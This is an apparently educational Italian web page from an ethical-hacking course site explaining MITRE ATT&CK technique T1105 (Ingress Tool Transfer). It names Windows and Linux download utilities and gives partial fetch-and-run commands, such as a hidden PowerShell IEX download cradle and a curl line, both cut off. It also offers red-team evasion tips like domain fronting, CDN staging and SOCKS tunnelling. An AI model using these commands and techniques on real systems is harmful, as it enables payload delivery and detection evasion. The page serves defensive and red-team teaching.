Iscriviti al webinar gratuito del 20 Ottobre per diventare Ethical Hacker! Scopri di più
Trasferimento Strumenti in Ingresso: Ingress Tool Transfer (T1105)
Ingress Tool Transfer identifica il trasferimento di strumenti, payload aggiuntivi o file di configurazione da un sistema esterno controllato dall'attaccante verso un ambiente già compromesso. La tecnica appartiene alla tattica TA0011 (Command and Control) e si colloca tipicamente dopo l'accesso iniziale, quando l'avversario deve estendere le proprie capacità oltre l'impianto minimo utilizzato per la breccia.
Su Windows gli attaccanti sfruttano utility native come certutil, bitsadmin, finger, copy, oppure primitive PowerShell del tipo IEX(New-Object Net.WebClient).downloadString() e Invoke-WebRequest. Su Linux, macOS ed ESXi ricorrono a curl, wget, scp, sftp, tftp e rsync. Non mancano abusi di package manager come yum e winget, di handler di protocollo come search-ms, e di servizi cloud sincronizzati quali OneDrive o Dropbox per veicolare file direttamente sul filesystem della vittima.
La portata è vasta: MITRE documenta 85 gruppi APT, 385 famiglie di malware e 28 campagne che adottano questa tecnica, dalla catena di supply chain di SolarWinds alle intrusioni ransomware di Wizard Spider e Play. Praticamente ogni implant moderno prevede una primitiva di download, rendendo T1105 uno dei comportamenti più pervasivi dell'intero framework e un punto di osservazione privilegiato per la detection difensiva.
In un red team engagement il trasferimento di tool è quasi sempre necessario dopo il foothold iniziale, perché il payload di primo stadio è deliberatamente minimale. Le tecniche variano in base al sistema operativo target e alle restrizioni di egress.
Su Windows la primitiva più discreta rimane PowerShell in memoria: powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('
Su Linux e macOS la superficie è più ampia: curl -fsSL
Su ESXi l'abuso di wget e curl verso i datastore (/vmfs/volumes/) consente il posizionamento di binari ELF che si integrano con l'ambiente hypervisor, tecnica osservata negli attacchi ransomware moderni.
Un red teamer maturo evita download prevedibili: preferisce domain fronting, uso di CDN legittime (GitHub Releases, Discord CDN come in WhisperGate, Dropbox come in LOWBALL), staging su servizi cloud che l'organizzazione già consuma. La verifica dell'integrità post-download tramite certutil -hashfile payload.exe SHA256 replica il comportamento reale degli attaccanti e permette di rilevare tampering della blue team.
In fase di planning è utile validare la telemetria egress della vittima con tool come Chisel (open source) o ligolo-ng (open source) per creare tunnel SOCKS e trasferire strumenti attraverso canali già stabiliti, riducendo il numero di connessioni anomale osservabili.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.